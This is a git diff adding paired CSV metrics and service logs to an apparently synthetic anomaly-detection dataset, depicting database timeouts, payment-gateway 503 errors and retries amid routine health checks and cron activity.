+2025-07-02T12:07:00Z,10.73,44.87,28.7,1.14,1.33 +2025-07-02T12:07:05Z,19.85,44.17,25.35,1.26,1.48 +2025-07-02T12:07:10Z,15.73,41.95,23.1,1.31,1.54 +2025-07-02T12:07:15Z,14.35,41.59,39.46,1.48,1.73 +2025-07-02T12:07:20Z,10.74,44.89,20.39,1.1,1.29 +2025-07-02T12:07:25Z,12.18,42.17,35.88,1.43,1.67 diff --git a/anom_dataset/scenario_13/anom_13_15.log b/anom_dataset/scenario_13/anom_13_15.log new file mode 100644 index 0000000000000000000000000000000000000000..0313dc5a93c3658ad1ff3162c7190acf70be1812 --- /dev/null +++ b/anom_dataset/scenario_13/anom_13_15.log @@ -0,0 +1,57 @@ +Jul 02 12:00:00 web-app[1234]: GET /api/v1/products status=200 OK +Jul 02 12:00:05 web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 02 12:00:10 web-app[1234]: POST /api/v1/login status=200 OK +Jul 02 12:00:15 web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 02 12:00:45 web-app[1234]: GET /api/v1/products status=200 OK +Jul 02 12:00:55 web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 02 12:01:00 web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 02 12:01:10 web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 02 12:01:15 web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 02 12:01:25 web-app[1234]: GET /api/v1/products status=200 OK +Jul 02 12:01:40 web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 02 12:01:55 web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 02 12:02:15 systemd[1]: Starting daily clean up activities... +Jul 02 12:02:30 web-app[1234]: ERROR Failed to connect to database: Connection refused +Jul 02 12:02:35 payment-gateway[4567]: ERROR Connection to api.paymentprovider.com timed out +Jul 02 12:02:40 web-app[1234]: GET /api/v1/products status=200 OK +Jul 02 12:02:45 web-app[1234]: WARN Retrying connection to database... (attempt 1/5) +Jul 02 12:02:50 web-app[1234]: WARN Retrying connection to database... (attempt 2/5) +Jul 02 12:02:55 web-app[1234]: WARN Retrying connection to database... (attempt 1/5) +Jul 02 12:03:00 web-app[1234]: ERROR Failed to connect to database: Connection refused +Jul 02 12:03:05 web-app[1234]: WARN Retrying connection to database... (attempt 1/5) +Jul 02 12:03:10 api-gateway[3456]: GET /api/v1/process-payment status=503 Service Unavailable +Jul 02 12:03:15 web-app[1234]: WARN Retrying connection to database... (attempt 1/5) +Jul 02 12:03:20 web-app[1234]: WARN Retrying connection to database... (attempt 1/5) +Jul 02 12:03:25 web-app[1234]: WARN Retrying connection to database... (attempt 2/5) +Jul 02 12:03:30 web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 02 12:03:35 web-app[1234]: ERROR Failed to connect to database: Connection refused +Jul 02 12:03:40 web-app[1234]: ERROR Failed to connect to database: Connection refused +Jul 02 12:03:45 web-app[1234]: WARN Retrying connection to database... (attempt 1/5) +Jul 02 12:03:50 web-app[1234]: WARN Retrying connection to database... (attempt 2/5) +Jul 02 12:03:55 web-app[1234]: ERROR Failed to connect to database: Connection refused +Jul 02 12:04:00 web-app[1234]: ERROR Failed to connect to database: Connection refused +Jul 02 12:04:05 web-app[1234]: POST /api/v1/login status=200 OK +Jul 02 12:04:10 api-gateway[3456]: GET /api/v1/process-payment status=503 Service Unavailable +Jul 02 12:04:15 web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 02 12:04:20 web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 02 12:04:25 web-app[1234]: ERROR Failed to connect to database: Connection refused +Jul 02 12:04:30 payment-gateway[4567]: ERROR Service api.paymentprovider.com unavailable +Jul 02 12:04:35 web-app[1234]: GET /api/v1/products status=200 OK +Jul 02 12:04:40 payment-gateway[4567]: ERROR Service api.paymentprovider.com unavailable +Jul 02 12:04:45 web-app[1234]: WARN Retrying connection to database... (attempt 1/5) +Jul 02 12:04:50 payment-gateway[4567]: ERROR Connection to api.paymentprovider.com timed out +Jul 02 12:04:55 web-app[1234]: GET /api/v1/products status=200 OK +Jul 02 12:05:00 web-app[1234]: GET /api/v1/products status=200 OK +Jul 02 12:05:15 web-app[1234]: GET /api/v1/products status=200 OK +Jul 02 12:05:25 web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 02 12:05:35 web-app[1234]: POST /api/v1/login status=200 OK +Jul 02 12:05:40 web-app[1234]: POST /api/v1/login status=200 OK +Jul 02 12:05:50 web-app[1234]: GET /api/v1/products status=200 OK +Jul 02 12:06:00 web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 02 12:06:25 web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 02 12:06:30 systemd[1]: Starting daily clean up activities... +Jul 02 12:06:40 web-app[1234]: POST /api/v1/login status=200 OK +Jul 02 12:06:45 web-app[1234]: POST /api/v1/login status=200 OK +Jul 02 12:06:55 web-app[1234]: GET /api/v1/products status=200 OK +Jul 02 12:07:05 web-app[1234]: POST /api/v1/login status=200 OK +Jul 02 12:07:20 systemd[1]: Starting daily clean up activities... diff --git a/anom_dataset/scenario_13/anom_13_16.csv b/anom_dataset/scenario_13/anom_13_16.csv new file mode 100644 index 0000000000000000000000000000000000000000..5e0a16ae652533b2f3df3e04fd437b794449ad27 --- /dev/null +++ b/anom_dataset/scenario_13/anom_13_16.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-13T10:00:00Z,20.36,43.15,26.3,1.28,1.18 +2025-07-13T10:00:05Z,16.59,42.35,32.05,1.38,1.33 +2025-07-13T10:00:10Z,19.78,45.46,33.64,0.95,0.97 +2025-07-13T10:00:15Z,17.11,43.6,32.94,1.34,1.17 +2025-07-13T10:00:20Z,23.13,46.41,27.84,1.17,0.85 +2025-07-13T10:00:25Z,22.54,45.8,31.99,1.39,1.09 +2025-07-13T10:00:30Z,23.57,42.98,34.36,1.32,0.96 +2025-07-13T10:00:35Z,16.18,43.34,25.52,1.18,0.98 +2025-07-13T10:00:40Z,22.87,40.85,30.41,1.21,1.04 +2025-07-13T10:00:45Z,21.64,41.0,32.55,1.36,1.26 +2025-07-13T10:00:50Z,24.72,42.45,32.48,0.9,0.83 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b/anom_dataset/scenario_13/anom_13_16.log new file mode 100644 index 0000000000000000000000000000000000000000..551efccd74f8e7ff2185f1095ffb7f8c90df4868 --- /dev/null +++ b/anom_dataset/scenario_13/anom_13_16.log @@ -0,0 +1,62 @@ +Jul 13 10:00:00 api-server[1122]: GET /api/v1/health status=200 OK +Jul 13 10:00:25 api-server[1122]: GET /api/v1/user/99 status=200 OK +Jul 13 10:01:10 CRON[6789]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 13 10:01:50 api-server[1122]: GET /api/v1/user/101 status=200 OK +Jul 13 10:02:15 systemd[1]: Starting daily clean up activities... +Jul 13 10:02:30 api-server[1122]: ERROR Connect to database failed: Connection timed out +Jul 13 10:02:35 api-server[1122]: ERROR Connect to database failed: Connection timed out +Jul 13 10:02:40 api-server[1122]: ERROR Connect to database failed: Connection timed out +Jul 13 10:02:45 api-server[1122]: ERROR Connect to database failed: Connection timed out +Jul 13 10:02:50 api-server[1122]: GET /api/v1/external/service status=503 Service Unavailable +Jul 13 10:02:55 api-server[1122]: ERROR Connect to database failed: Connection timed out +Jul 13 10:02:55 api-server[1122]: GET /api/v1/health status=200 OK +Jul 13 10:03:00 api-server[1122]: ERROR Connect to database failed: Connection timed out +Jul 13 10:03:05 api-server[1122]: ERROR Connect to database failed: Connection timed out +Jul 13 10:03:20 api-server[1122]: GET /api/v1/external/service status=503 Service Unavailable +Jul 13 10:03:25 api-server[1122]: ERROR Connect to database failed: Connection timed out +Jul 13 10:03:30 api-server[1122]: ERROR Connect to database failed: Connection timed out +Jul 13 10:03:35 api-server[1122]: ERROR Connect to database failed: Connection timed out +Jul 13 10:03:40 api-server[1122]: GET /api/v1/external/service status=503 Service Unavailable +Jul 13 10:03:45 api-server[1122]: ERROR Connect to database failed: Connection timed out +Jul 13 10:03:50 api-server[1122]: ERROR Connect to database failed: Connection timed out +Jul 13 10:03:55 api-server[1122]: GET /api/v1/external/service status=503 Service Unavailable +Jul 13 10:04:05 api-server[1122]: ERROR Connect to database failed: Connection timed out +Jul 13 10:04:10 api-server[1122]: ERROR Connect to database failed: Connection timed out +Jul 13 10:04:10 api-server[1122]: GET /api/v1/health status=200 OK +Jul 13 10:04:15 api-server[1122]: ERROR Connect to database failed: Connection timed out +Jul 13 10:04:20 api-server[1122]: ERROR Connect to database failed: Connection timed out +Jul 13 10:04:25 api-server[1122]: ERROR Connect to database failed: Connection timed out +Jul 13 10:04:30 api-server[1122]: ERROR Connect to database failed: Connection timed out +Jul 13 10:04:35 api-server[1122]: GET /api/v1/external/service status=503 Service Unavailable +Jul 13 10:04:40 api-server[1122]: ERROR Connect to database failed: Connection timed out +Jul 13 10:04:45 api-server[1122]: ERROR Connect to database failed: Connection timed out +Jul 13 10:04:50 api-server[1122]: ERROR Connect to database failed: Connection timed out +Jul 13 10:04:55 api-server[1122]: GET /api/v1/external/service status=503 Service Unavailable +Jul 13 10:05:00 api-server[1122]: GET /api/v1/external/service status=503 Service Unavailable +Jul 13 10:05:05 api-server[1122]: GET /api/v1/external/service status=503 Service Unavailable +Jul 13 10:05:10 api-server[1122]: ERROR Connect to database failed: Connection timed out +Jul 13 10:05:15 api-server[1122]: ERROR Connect to database failed: Connection timed out +Jul 13 10:05:20 api-server[1122]: ERROR Connect to database failed: Connection timed out +Jul 13 10:05:25 api-server[1122]: GET /api/v1/external/service status=503 Service Unavailable +Jul 13 10:05:25 api-server[1122]: GET /api/v1/health status=200 OK +Jul 13 10:05:30 api-server[1122]: ERROR Connect to database failed: Connection timed out +Jul 13 10:05:35 api-server[1122]: GET /api/v1/external/service status=503 Service Unavailable +Jul 13 10:05:45 api-server[1122]: GET /api/v1/external/service status=503 Service Unavailable +Jul 13 10:05:50 kubelet[2345]: INFO Liveness probe succeeded for pod api-server +Jul 13 10:05:55 api-server[1122]: ERROR Connect to database failed: Connection timed out +Jul 13 10:06:00 api-server[1122]: ERROR Connect to database failed: Connection timed out +Jul 13 10:06:05 api-server[1122]: ERROR Connect to database failed: Connection timed out +Jul 13 10:06:10 api-server[1122]: ERROR Connect to database failed: Connection timed out +Jul 13 10:06:15 api-server[1122]: GET /api/v1/external/service status=503 Service Unavailable +Jul 13 10:06:20 api-server[1122]: GET /api/v1/external/service status=503 Service Unavailable +Jul 13 10:06:30 api-server[1122]: ERROR Connect to database failed: Connection timed out +Jul 13 10:06:40 api-server[1122]: ERROR Connect to database failed: Connection timed out +Jul 13 10:06:40 api-server[1122]: GET /api/v1/health status=200 OK +Jul 13 10:06:45 api-server[1122]: ERROR Connect to database failed: Connection timed out +Jul 13 10:06:50 api-server[1122]: ERROR Connect to database failed: Connection timed out +Jul 13 10:06:55 api-server[1122]: ERROR Connect to database failed: Connection timed out +Jul 13 10:07:00 api-server[1122]: ERROR Connect to database failed: Connection timed out +Jul 13 10:07:05 api-server[1122]: ERROR Connect to database failed: Connection timed out +Jul 13 10:07:15 api-server[1122]: ERROR Connect to database failed: Connection timed out +Jul 13 10:07:20 api-server[1122]: GET /api/v1/external/service status=503 Service Unavailable +Jul 13 10:07:25 api-server[1122]: GET /api/v1/external/service status=503 Service Unavailable diff --git a/anom_dataset/scenario_13/anom_13_17.csv b/anom_dataset/scenario_13/anom_13_17.csv new file mode 100644 index 0000000000000000000000000000000000000000..f7069380790c925d83c810c9649a3c71aa8eee91 --- /dev/null +++ b/anom_dataset/scenario_13/anom_13_17.csv @@ -0,0 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+2025-07-03T10:07:25Z,19.543316502176246,45.135036962820216,21.20630256788443,1.1888904602206762,0.6881572956222097 diff --git a/anom_dataset/scenario_13/anom_13_17.log b/anom_dataset/scenario_13/anom_13_17.log new file mode 100644 index 0000000000000000000000000000000000000000..7558c45cc89e2eaa53c6715ce26118e602407a51 --- /dev/null +++ b/anom_dataset/scenario_13/anom_13_17.log @@ -0,0 +1,90 @@ +Jul 03 10:00:00 systemd[1]: Starting daily clean up activities... +Jul 03 10:00:05 kubelet[1198]: INFO Liveness probe succeeded for pod web-app-pod +Jul 03 10:00:10 kubelet[1198]: INFO Liveness probe succeeded for pod web-app-pod +Jul 03 10:00:15 kubelet[1198]: INFO Liveness probe succeeded for pod web-app-pod +Jul 03 10:00:20 kubelet[1198]: INFO Liveness probe succeeded for pod web-app-pod +Jul 03 10:00:25 web-app[2231]: GET /api/v1/user/12 status=200 OK +Jul 03 10:00:30 kubelet[1198]: INFO Liveness probe succeeded for pod web-app-pod +Jul 03 10:00:35 systemd[1]: Starting daily clean up activities... +Jul 03 10:00:40 kubelet[1198]: INFO Liveness probe succeeded for pod web-app-pod +Jul 03 10:00:45 kubelet[1198]: INFO Liveness probe succeeded for pod web-app-pod +Jul 03 10:00:50 web-app[2231]: GET /api/v1/user/41 status=200 OK +Jul 03 10:00:55 CRON[4511]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 03 10:01:00 kubelet[1198]: INFO Liveness probe succeeded for pod web-app-pod +Jul 03 10:01:05 kubelet[1198]: INFO Liveness probe succeeded for pod web-app-pod +Jul 03 10:01:10 systemd[1]: Starting daily clean up activities... +Jul 03 10:01:15 web-app[2231]: GET /api/v1/user/12 status=200 OK +Jul 03 10:01:20 kubelet[1198]: INFO Liveness probe succeeded for pod web-app-pod +Jul 03 10:01:25 kubelet[1198]: INFO Liveness probe succeeded for pod web-app-pod +Jul 03 10:01:30 kubelet[1198]: INFO Liveness probe succeeded for pod web-app-pod +Jul 03 10:01:35 kubelet[1198]: INFO Liveness probe succeeded for pod web-app-pod +Jul 03 10:01:40 web-app[2231]: GET /api/v1/user/36 status=200 OK +Jul 03 10:01:45 systemd[1]: Starting daily clean up activities... +Jul 03 10:01:50 CRON[4511]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 03 10:01:55 kubelet[1198]: INFO Liveness probe succeeded for pod web-app-pod +Jul 03 10:02:00 kubelet[1198]: INFO Liveness probe succeeded for pod web-app-pod +Jul 03 10:02:05 web-app[2231]: GET /api/v1/user/38 status=200 OK +Jul 03 10:02:10 kubelet[1198]: INFO Liveness probe succeeded for pod web-app-pod +Jul 03 10:02:15 kubelet[1198]: INFO Liveness probe succeeded for pod web-app-pod +Jul 03 10:02:20 systemd[1]: Starting daily clean up activities... +Jul 03 10:02:25 kubelet[1198]: INFO Liveness probe succeeded for pod web-app-pod +Jul 03 10:02:30 kubelet[1198]: INFO Liveness probe succeeded for pod web-app-pod +Jul 03 10:02:35 web-app[2231]: WARN Request to payment-gateway failed: status 503 Service Unavailable +Jul 03 10:02:40 web-app[2231]: ERROR Failed to connect to database at db.internal:5432: Connection timed out +Jul 03 10:02:45 web-app[2231]: WARN Request to payment-gateway failed: status 503 Service Unavailable +Jul 03 10:02:50 web-app[2231]: ERROR Failed to connect to database at db.internal:5432: Connection timed out +Jul 03 10:02:55 web-app[2231]: ERROR Failed to connect to database at db.internal:5432: Connection timed out +Jul 03 10:03:00 web-app[2231]: ERROR Failed to connect to database at db.internal:5432: Connection timed out +Jul 03 10:03:05 web-app[2231]: ERROR Failed to connect to database at db.internal:5432: Connection timed out +Jul 03 10:03:10 web-app[2231]: ERROR Failed to connect to database at db.internal:5432: Connection timed out +Jul 03 10:03:15 web-app[2231]: ERROR Failed to connect to database at db.internal:5432: Connection timed out +Jul 03 10:03:20 web-app[2231]: WARN Request to payment-gateway failed: status 503 Service Unavailable +Jul 03 10:03:25 web-app[2231]: ERROR Failed to connect to database at db.internal:5432: Connection timed out +Jul 03 10:03:30 web-app[2231]: ERROR Failed to connect to database at db.internal:5432: Connection timed out +Jul 03 10:03:35 web-app[2231]: ERROR Failed to connect to database at db.internal:5432: Connection timed out +Jul 03 10:03:40 web-app[2231]: ERROR Failed to connect to database at db.internal:5432: Connection timed out +Jul 03 10:03:45 web-app[2231]: ERROR Failed to connect to database at db.internal:5432: Connection timed out +Jul 03 10:03:50 web-app[2231]: WARN Request to payment-gateway failed: status 503 Service Unavailable +Jul 03 10:03:55 web-app[2231]: ERROR Failed to connect to database at db.internal:5432: Connection timed out +Jul 03 10:04:00 web-app[2231]: ERROR Failed to connect to database at db.internal:5432: Connection timed out +Jul 03 10:04:05 web-app[2231]: ERROR Failed to connect to database at db.internal:5432: Connection timed out +Jul 03 10:04:10 web-app[2231]: ERROR Failed to connect to database at db.internal:5432: Connection timed out +Jul 03 10:04:15 web-app[2231]: WARN Request to payment-gateway failed: status 503 Service Unavailable +Jul 03 10:04:20 web-app[2231]: ERROR Failed to connect to database at db.internal:5432: Connection timed out +Jul 03 10:04:25 web-app[2231]: ERROR Failed to connect to database at db.internal:5432: Connection timed out +Jul 03 10:04:30 kubelet[1198]: INFO Liveness probe succeeded for pod web-app-pod +Jul 03 10:04:35 web-app[2231]: ERROR Failed to connect to database at db.internal:5432: Connection timed out +Jul 03 10:04:40 kubelet[1198]: INFO Liveness probe succeeded for pod web-app-pod +Jul 03 10:04:45 web-app[2231]: ERROR Failed to connect to database at db.internal:5432: Connection timed out +Jul 03 10:04:50 web-app[2231]: WARN Request to payment-gateway failed: status 503 Service Unavailable +Jul 03 10:04:55 web-app[2231]: ERROR Failed to connect to database at db.internal:5432: Connection timed out +Jul 03 10:05:00 web-app[2231]: WARN Request to payment-gateway failed: status 503 Service Unavailable +Jul 03 10:05:05 web-app[2231]: ERROR Failed to connect to database at db.internal:5432: Connection timed out +Jul 03 10:05:10 web-app[2231]: ERROR Failed to connect to database at db.internal:5432: Connection timed out +Jul 03 10:05:15 web-app[2231]: ERROR Failed to connect to database at db.internal:5432: Connection timed out +Jul 03 10:05:20 web-app[2231]: WARN Request to payment-gateway failed: status 503 Service Unavailable +Jul 03 10:05:25 web-app[2231]: WARN Request to payment-gateway failed: status 503 Service Unavailable +Jul 03 10:05:30 web-app[2231]: WARN Request to payment-gateway failed: status 503 Service Unavailable +Jul 03 10:05:35 web-app[2231]: ERROR Failed to connect to database at db.internal:5432: Connection timed out +Jul 03 10:05:40 web-app[2231]: WARN Request to payment-gateway failed: status 503 Service Unavailable +Jul 03 10:05:45 web-app[2231]: ERROR Failed to connect to database at db.internal:5432: Connection timed out +Jul 03 10:05:50 web-app[2231]: ERROR Failed to connect to database at db.internal:5432: Connection timed out +Jul 03 10:05:55 web-app[2231]: ERROR Failed to connect to database at db.internal:5432: Connection timed out +Jul 03 10:06:00 web-app[2231]: WARN Request to payment-gateway failed: status 503 Service Unavailable +Jul 03 10:06:05 web-app[2231]: ERROR Failed to connect to database at db.internal:5432: Connection timed out +Jul 03 10:06:10 web-app[2231]: ERROR Failed to connect to database at db.internal:5432: Connection timed out +Jul 03 10:06:15 web-app[2231]: WARN Request to payment-gateway failed: status 503 Service Unavailable +Jul 03 10:06:20 web-app[2231]: ERROR Failed to connect to database at db.internal:5432: Connection timed out +Jul 03 10:06:25 web-app[2231]: ERROR Failed to connect to database at db.internal:5432: Connection timed out +Jul 03 10:06:30 web-app[2231]: ERROR Failed to connect to database at db.internal:5432: Connection timed out +Jul 03 10:06:35 web-app[2231]: ERROR Failed to connect to database at db.internal:5432: Connection timed out +Jul 03 10:06:40 web-app[2231]: GET /api/v1/user/34 status=200 OK +Jul 03 10:06:45 kubelet[1198]: INFO Liveness probe succeeded for pod web-app-pod +Jul 03 10:06:50 kubelet[1198]: INFO Liveness probe succeeded for pod web-app-pod +Jul 03 10:06:55 kubelet[1198]: INFO Liveness probe succeeded for pod web-app-pod +Jul 03 10:07:00 systemd[1]: Starting daily clean up activities... +Jul 03 10:07:05 web-app[2231]: GET /api/v1/user/13 status=200 OK +Jul 03 10:07:10 kubelet[1198]: INFO Liveness probe succeeded for pod web-app-pod +Jul 03 10:07:15 kubelet[1198]: INFO Liveness probe succeeded for pod web-app-pod +Jul 03 10:07:20 CRON[4511]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 03 10:07:25 kubelet[1198]: INFO Liveness probe succeeded for pod web-app-pod \ No newline at end of file diff --git a/anom_dataset/scenario_13/anom_13_18.csv b/anom_dataset/scenario_13/anom_13_18.csv new file mode 100644 index 0000000000000000000000000000000000000000..713a909130e023164aa2f356d600a0038f4a81ac --- /dev/null +++ b/anom_dataset/scenario_13/anom_13_18.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-13T10:00:00Z,17.06,36.7,25.22,1.85,1.64 +2025-07-13T10:00:05Z,13.15,33.57,29.76,1.58,1.75 +2025-07-13T10:00:10Z,14.42,36.91,30.88,1.45,1.53 +2025-07-13T10:00:15Z,12.93,33.66,26.98,1.71,1.68 +2025-07-13T10:00:20Z,12.32,34.38,27.1,1.4,1.35 +2025-07-13T10:00:25Z,15.21,36.52,26.46,1.66,1.73 +2025-07-13T10:00:30Z,13.32,34.06,21.42,1.5,1.52 +2025-07-13T10:00:35Z,13.26,35.07,29.79,1.83,1.74 +2025-07-13T10:00:40Z,16.17,34.05,36.71,1.69,1.74 +2025-07-13T10:00:45Z,8.78,36.35,24.92,1.44,1.41 +2025-07-13T10:00:50Z,10.17,36.48,32.15,1.43,1.34 +2025-07-13T10:00:55Z,11.3,34.51,32.51,1.59,1.55 +2025-07-13T10:01:00Z,20.41,34.17,27.57,1.52,1.44 +2025-07-13T10:01:05Z,18.66,33.52,30.34,1.1,1.12 +2025-07-13T10:01:10Z,18.02,36.61,28.12,1.31,1.39 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b/anom_dataset/scenario_13/anom_13_18.log @@ -0,0 +1,33 @@ +Jul 13 10:00:00 systemd[1]: Starting daily clean up activities... +Jul 13 10:00:20 systemd[1]: Starting daily clean up activities... +Jul 13 10:01:00 systemd[1]: Starting daily clean up activities... +Jul 13 10:01:10 web-app[1234]: POST /api/v1/login status=200 OK +Jul 13 10:01:15 web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 13 10:02:00 web-app[1234]: GET /api/v1/user/45 status=200 OK +Jul 13 10:02:30 web-app[1234]: ERROR Failed to connect to payment-gateway API: 503 Service Unavailable +Jul 13 10:02:35 web-app[1234]: ERROR All retry attempts to 'user-db' failed +Jul 13 10:02:40 web-app[1234]: ERROR Connection to database 'user-db' timed out +Jul 13 10:02:50 web-app[1234]: ERROR Connection to database 'user-db' timed out +Jul 13 10:02:55 web-app[1234]: ERROR Failed to connect to payment-gateway API: 503 Service Unavailable +Jul 13 10:03:00 web-app[1234]: ERROR All retry attempts to 'user-db' failed +Jul 13 10:03:05 web-app[1234]: WARN Retrying connection to 'user-db' (attempt 1/5) +Jul 13 10:03:10 web-app[1234]: ERROR Connection to database 'user-db' timed out +Jul 13 10:03:15 web-app[1234]: ERROR Connection to database 'user-db' timed out +Jul 13 10:03:20 web-app[1234]: ERROR Failed to connect to payment-gateway API: 503 Service Unavailable +Jul 13 10:03:25 web-app[1234]: WARN Retrying connection to 'user-db' (attempt 1/5) +Jul 13 10:03:30 web-ap[1234]: WARN Cache service 'redis-cache' is not responding +Jul 13 10:03:40 web-app[1234]: ERROR All retry attempts to 'user-db' failed +Jul 13 10:03:45 web-ap[1234]: WARN Cache service 'redis-cache' is not responding +Jul 13 10:03:50 web-app[1234]: WARN Retrying connection to 'user-db' (attempt 1/5) +Jul 13 10:03:55 web-app[1234]: WARN Retrying connection to 'user-db' (attempt 1/5) +Jul 13 10:04:00 web-app[1234]: ERROR All retry attempts to 'user-db' failed +Jul 13 10:04:10 web-app[1234]: ERROR All retry attempts to 'user-db' failed +Jul 13 10:04:20 web-app[1234]: ERROR Failed to connect to payment-gateway API: 503 Service Unavailable +Jul 13 10:04:30 web-app[1234]: ERROR All retry attempts to 'user-db' failed +Jul 13 10:04:40 web-ap[1234]: WARN Cache service 'redis-cache' is not responding +Jul 13 10:04:50 web-ap[1234]: WARN Cache service 'redis-cache' is not responding +Jul 13 10:05:00 web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 13 10:05:20 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 13 10:05:50 systemd[1]: Starting daily clean up activities... +Jul 13 10:06:30 web-app[1234]: POST /api/v1/login status=200 OK +Jul 13 10:07:00 web-app[1234]: POST /api/v1/login status=200 OK diff --git a/anom_dataset/scenario_13/anom_13_19.csv b/anom_dataset/scenario_13/anom_13_19.csv new file mode 100644 index 0000000000000000000000000000000000000000..44cddcce25f32c252f590c597863ff92a19e5288 --- /dev/null +++ b/anom_dataset/scenario_13/anom_13_19.csv @@ -0,0 +1,91 @@ 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api-gateway[3456]: GET /api/v2/users/115/profile status=200 OK +Jul 03 10:00:15 api-gateway[3456]: GET /api/v2/users/175/profile status=200 OK +Jul 03 10:00:20 api-gateway[3456]: GET /api/v2/users/191/profile status=200 OK +Jul 03 10:00:25 api-gateway[3456]: GET /api/v2/users/141/profile status=200 OK +Jul 03 10:00:30 api-gateway[3456]: GET /api/v2/users/107/profile status=200 OK +Jul 03 10:00:35 systemd[1]: Starting daily user cleanup... +Jul 03 10:00:40 api-gateway[3456]: GET /api/v2/users/122/profile status=200 OK +Jul 03 10:00:45 api-gateway[3456]: GET /api/v2/users/184/profile status=200 OK +Jul 03 10:00:50 api-gateway[3456]: GET /api/v2/users/147/profile status=200 OK +Jul 03 10:00:55 kubelet[2122]: INFO Liveness probe succeeded for pod api-gateway-pod +Jul 03 10:01:00 api-gateway[3456]: GET /api/v2/users/162/profile status=200 OK +Jul 03 10:01:05 api-gateway[3456]: GET /api/v2/users/139/profile status=200 OK +Jul 03 10:01:10 systemd[1]: Starting daily user cleanup... +Jul 03 10:01:15 api-gateway[3456]: GET /api/v2/users/174/profile status=200 OK +Jul 03 10:01:20 api-gateway[3456]: GET /api/v2/users/188/profile status=200 OK +Jul 03 10:01:25 api-gateway[3456]: GET /api/v2/users/172/profile status=200 OK +Jul 03 10:01:30 api-gateway[3456]: GET /api/v2/users/117/profile status=200 OK +Jul 03 10:01:35 api-gateway[3456]: GET /api/v2/users/195/profile status=200 OK +Jul 03 10:01:40 api-gateway[3456]: GET /api/v2/users/103/profile status=200 OK +Jul 03 10:01:45 systemd[1]: Starting daily user cleanup... +Jul 03 10:01:50 kubelet[2122]: INFO Liveness probe succeeded for pod api-gateway-pod +Jul 03 10:01:55 api-gateway[3456]: GET /api/v2/users/167/profile status=200 OK +Jul 03 10:02:00 api-gateway[3456]: GET /api/v2/users/119/profile status=200 OK +Jul 03 10:02:05 api-gateway[3456]: GET /api/v2/users/150/profile status=200 OK +Jul 03 10:02:10 api-gateway[3456]: GET /api/v2/users/122/profile status=200 OK +Jul 03 10:02:15 api-gateway[3456]: GET /api/v2/users/141/profile status=200 OK +Jul 03 10:02:20 systemd[1]: Starting daily user cleanup... +Jul 03 10:02:25 api-gateway[3456]: GET /api/v2/users/138/profile status=200 OK +Jul 03 10:02:30 api-gateway[3456]: ERROR Connection to user-database:5432 timed out after 3000ms +Jul 03 10:02:35 kubelet[2122]: INFO Liveness probe succeeded for pod api-gateway-pod +Jul 03 10:02:40 api-gateway[3456]: GET /api/v2/users/400/order-history status=503 Service Unavailable +Jul 03 10:02:45 api-gateway[3456]: GET /healthz status=200 OK +Jul 03 10:02:50 api-gateway[3456]: ERROR Connection to user-database:5432 timed out after 3000ms +Jul 03 10:02:55 api-gateway[3456]: GET /healthz status=200 OK +Jul 03 10:03:00 kubelet[2122]: INFO Liveness probe succeeded for pod api-gateway-pod +Jul 03 10:03:05 kubelet[2122]: INFO Liveness probe succeeded for pod api-gateway-pod +Jul 03 10:03:10 api-gateway[3456]: GET /api/v2/users/314/order-history status=503 Service Unavailable +Jul 03 10:03:15 api-gateway[3456]: ERROR Connection to user-database:5432 timed out after 3000ms +Jul 03 10:03:20 api-gateway[3456]: ERROR Connection to user-database:5432 timed out after 3000ms +Jul 03 10:03:25 kubelet[2122]: INFO Liveness probe succeeded for pod api-gateway-pod +Jul 03 10:03:30 api-gateway[3456]: ERROR Connection refused by user-database:5432 +Jul 03 10:03:35 api-gateway[3456]: ERROR Connection refused by user-database:5432 +Jul 03 10:03:40 api-gateway[3456]: ERROR Connection to user-database:5432 timed out after 3000ms +Jul 03 10:03:45 api-gateway[3456]: GET /api/v2/users/394/order-history status=503 Service Unavailable +Jul 03 10:03:50 api-gateway[3456]: ERROR Connection to user-database:5432 timed out after 3000ms +Jul 03 10:03:55 api-gateway[3456]: ERROR Connection to user-database:5432 timed out after 3000ms +Jul 03 10:04:00 api-gateway[3456]: GET /api/v2/users/351/order-history status=503 Service Unavailable +Jul 03 10:04:05 api-gateway[3456]: ERROR Connection refused by user-database:5432 +Jul 03 10:04:10 api-gateway[3456]: ERROR Connection to user-database:5432 timed out after 3000ms +Jul 03 10:04:15 api-gateway[3456]: ERROR Connection to user-database:5432 timed out after 3000ms +Jul 03 10:04:20 api-gateway[3456]: GET /api/v2/users/357/order-history status=503 Service Unavailable +Jul 03 10:04:25 api-gateway[3456]: ERROR Connection to user-database:5432 timed out after 3000ms +Jul 03 10:04:30 kubelet[2122]: INFO Liveness probe succeeded for pod api-gateway-pod +Jul 03 10:04:35 api-gateway[3456]: ERROR Connection refused by user-database:5432 +Jul 03 10:04:40 kubelet[2122]: INFO Liveness probe succeeded for pod api-gateway-pod +Jul 03 10:04:45 api-gateway[3456]: ERROR Connection refused by user-database:5432 +Jul 03 10:04:50 api-gateway[3456]: GET /api/v2/users/324/order-history status=503 Service Unavailable +Jul 03 10:04:55 api-gateway[3456]: ERROR Connection to user-database:5432 timed out after 3000ms +Jul 03 10:05:00 api-gateway[3456]: GET /api/v2/users/390/order-history status=503 Service Unavailable +Jul 03 10:05:05 api-gateway[3456]: GET /api/v2/users/356/order-history status=503 Service Unavailable +Jul 03 